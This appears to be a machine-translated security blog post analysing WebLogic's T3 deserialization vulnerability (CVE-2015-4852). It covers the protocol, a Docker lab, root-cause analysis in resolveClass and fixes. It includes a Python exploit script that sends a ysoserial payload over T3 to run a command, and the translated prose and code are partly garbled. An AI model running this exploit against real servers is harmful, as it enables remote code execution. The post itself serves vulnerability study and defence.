On the vulnerability of Weblogic T3 protocol in Java Security

The first article from the security guest: a preliminary study of Java security Weblogic T3 protocol vulnerability

0x00 Preface

The classic deserialization vulnerability is Weblogic's deserialization vulnerability. In Weblogic, there are two kinds of deserialization vulnerabilities: one is based on T3 protocol and the other is based on XML. Of course, there are also some SSRF and arbitrary file upload vulnerabilities, but we won't talk about them here for the time being.

Here are some vulnerability numbers for the two vulnerability types

Vulnerabilities based on T3 protocol: cve-2015-4582, cve-2016-0638, cve-2016-3510, cve-2018-2628, cve-2020-2555, cve-2020-2883

Based on XML: cve-2017-3506, cve-2017-10271, cve-2019-2729

Several representative CVE vulnerabilities are roughly listed.

In Weblogic, some vulnerabilities are bypassed based on the patches of the previous vulnerabilities. In the previous period, 14883 in cve-2020-14882 and cve-2020-14883 is a bypass based on 14882 patches.

0x01 T3 protocol

Talk about T3 protocol

As for the T3 protocol, it is a unique protocol in Weblogic. In a previous article on RMI, it was mentioned that the transmission process of RMI is to transmit serialized data, and a deserialization operation will be performed after receiving. The implementation of RMI specification in Weblogic uses T3 protocol. The transmission process in T3 is the same.

The following is an analysis of the transmission process of T3 protocol, how to perform the deserialization operation and the execution process of T3 protocol.

Before, let's take a look at an execution flow chart of deserialization by Weblogic.

A picture is borrowed here. One entry point of the vulnerability is that the method in Weblogic calls the native deserialization method to perform a deserialization operation.

Here, you also need to know how the method is called after the transmission is completed. I won't talk about the operation principle of native deserialization here. You can see my article.

To interpret the native readObject method of Java security, here we mainly talk about the relevant contents of T3 protocol.

T3 protocol overview

RMI communication in WebLogic Server uses T3 protocol to transfer data between WebLogic Server and other Java programs, including clients and other WebLogic Server instances.

T3 protocol structure

The T3 protocol contains the request header and the request body.

Request header

Here, take two POCS of cve-2015-4852 for explanation.

t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001

This is the head of his request packet.

Wireshark is used to capture packets. Since the configured network card cannot capture packets, the target address will switch back and forth between segment 23 and segment 1 IP.

Here, a NAT mode network card is configured to capture packets. The address is 192.168 23.130, change the target address of POC and send payload.

Here, when sending the request header, a breakpoint is made to let the script only send the request header data to facilitate packet capture. After opening Wireshark to capture packets, it is found that after sending the request packet header, the server Weblogic will have a response

The content behind helo is the Weblogic version number of the attacked party. After sending the request packet header, a Weblogic version number will be returned.

Request subject

In the T3 protocol, serialized data is transmitted. As mentioned earlier, the data in transmission is divided into seven parts. The first part is the protocol header. That is T3 12.2 3 \ NAS: 255 \ NHL: 19 \ NMS: 10000000 \ n \ n this string of data.

Let's see the picture below. The picture is taken from Z_ zz_ Master zzz's article on various methods to repair Weblogic's Java deserialization vulnerability.

See the contents of the second to seventh parts, which are AC ed 00 05, indicating that the string content is serialized data. If you need to construct a payload, you need to make a replacement in the later serialized content. Replace the original serialized content with the serialized content of our payload. After the transmission is completed, deserialize it to achieve the purpose of attack.

- 第一种生成方式为，将weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
- 第二种生成方式为，将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。

0x02 vulnerability environment construction

Environment construction

Here, A-Team's Weblogic vulnerability environment project is used to build the environment, saving unnecessary trouble.

Vulnerability environment address: https://github.com/QAX-A-Team/WeblogicEnvironment

JDK address: https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html

Weblogic download address: https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html

Here, you need to put the downloaded JDK file in the jdks folder of the project, and the source code of Weblogic in the weblogics folder.

Compile run

docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .

docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21

Then you need to export some Weblogic dependent jar packages for remote debugging.

mkdir ./middleware
    
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/
    
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/
    
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib

If you don't want to be so troublesome, you can run it directly SH script, for example, 1036 is installed here, and JDK is 7u21. Run run directly_ weblogicjdk7u21. SH, automatic installation and automatic export of jar packages from the container.

Remote debugging

Here, copy the jar package to the physical machine, and then open the idea to create an empty project for import.

After completion, configure remote debugging

For testing, we use weblogicscan to scan to see if it will stop at the breakpoint.

It is found here that remote debugging can be carried out. Later, we can analyze the vulnerability.

0x03 vulnerability analysis

Loophole recurrence

Here, let's talk about the recurrence of the vulnerability, and then analyze the vulnerability

Take exp as an example, but here is an environment built by docker, and no echo is constructed. The commonly used pop-up calculator cannot be displayed even if it is executed, so the method of creating a file is used here to verify whether the vulnerability is successfully exploited.

import socket
import sys
import struct
import re
import subprocess
import binascii

def get_payload1(gadget,command):
    JAR_FILE = './ysoserial.jar'
    popen = subprocess.Popen(['java','-jar',JAR_FILE,gadget,command],stdout=subprocess.PIPE)
    return popen.stdout.read()

def get_payload2(path):
    with open(path,"rb") as f:
        return f.read()

def exp(host,port,payload):
    sock = socket.socket(socket.AF_INET,socket.soCK_STREAM)
    sock.connect((host,port))

    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
    sock.sendall(handshake)
    data = sock.recv(1024)
    pattern = re.compile(r"HELO:(.*).false")
    version = re.findall(pattern,data.decode())
    if len(version) == 0:
        print("Not Weblogic")
        return

    print("Weblogic {}".format(version[0]))
    data_len = binascii.a2b_hex(b"00000000") #数据包长度，先占位，后面会根据实际情况重新
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
    flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
    payload = data_len + t3header + flag + payload
    payload = struct.pack('>I',len(payload)) + payload[4:] #重新计算数据包长度
    sock.send(payload)

if __name__ == "__main__":
    host = "192.168.1.40"
    port = 7001
    gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
    command = "touch /tmp/CVE-2015-4852"

    payload = get_payload1(gadget,command)
    exp(host,payload)

After execution, view the files in the docker container.

docker exec  weblogic1036jdk7u21 ls tmp/

Execution succeeded.

When executing exp, it is not difficult to find out if you enable debug to check. After sending T3 message header information, the Weblogic version number will be echoed in the return package.

As you can see, the data of the returned package is extracted through regularization and the version number information is obtained.

Vulnerability analysis

The data received by T3 protocol will be displayed on Weblogic rjvm. Inboundmsgabbrev#readobject deserializes here.

To directly locate the location, you can see the location of the breakpoint, which calls inboundmsgabbrev Serverchannelinputstream #readobject method, check it out

Here, you need to create an internal class and call the readObject method. You also need to check the serverchannelinputstream implementation.

In fact, we can see that serverchannelinputstream is an internal class, which inherits the objectinputstream class and rewrites the resolveclass here.

However, it can be seen here that the resolveclass method of the parent class is actually called. There is no verification in the resolveclass method, resulting in a vulnerability.

Let's talk about how to defend against this vulnerability later.

Let's talk about resolveclass

The resolveclass method is used to process the serialization descriptor of the class into the class object of the class.

When analyzing the readObject method, we learned that Shiro rewrites the resolveclass method, which makes many use chains unusable. However, Shiro did not rewrite the resolveclass to prevent deserialization vulnerabilities, but it was such an unintentional move that led to the defense of most attacks.

In the following Weblogic patches, the deserialization vulnerability will also be protected based on this resolveclass.

Post a deserialization attack sequence diagram of master Liao's blog:

So here's a question to consider. Why do you want to intercept in resolveclass instead of in other places?

The resolveclass method is used to obtain the class object of the class from the class serialization descriptor. If a check is added to resolveclass, check whether the class name recorded in the serialization descriptor of the class is on the blacklist. If it is on the blacklist, an error is thrown directly and it is not allowed to obtain the class object of the malicious class. In this way, malicious classes don't even have a chance to generate class objects.

Looking at this method, I posted a diagram in my readObject analysis article. Class is used internally in readObject Forname to obtain the object of a class of the corresponding class from the class serialization.

If a filter is added here and an exception is thrown directly here, the following series of operations cannot be completed after readnonproxydes calls the resolveclass method.

Reference articles

http://drops.xmd5.com/static/drops/web-13470.html

https://blog.kNownsec.com/2020/11/weblogic12c-t3-%e5%8d%8f%e8%ae%ae%e5%ae%89%e5%85%a8%e6%bc%ab%e8%b0%88/

http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%B2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/

https://xz.aliyun.com/t/8443

0x04 repair plan

Here learn from Z_ zz_ In addition to patching, there are other repair schemes for Weblogic T3 protocol vulnerabilities mentioned in master zzz's article. Let's talk about the way of patching. Patching is actually intercepted in the resolveclass method.

In the case of open Internet, web proxy and load balancing can also be adopted.

The web proxy can only forward HTTP requests, not T3 protocol requests, which can defend against the attack of T3 vulnerability.

In the case of load balancing, you can specify the protocol type for load balancing, so you can set it as HTTP request and do not receive other protocol request forwarding. This is also one of the reasons why there are few T3 protocol vulnerabilities in the extranet.

0x05 end

In fact, the analysis here is relatively shallow, because the deserialization operation and CC chain should be mentioned separately, rather than integrated into the T3 protocol vulnerability. Therefore, there is no analysis of these two pieces of content here, but these two pieces of content have been analyzed before and can be consulted by yourself. The following T3 protocol vulnerabilities are actually a bypass method after Interception Based on resolveclass, which has become a new CVE vulnerability.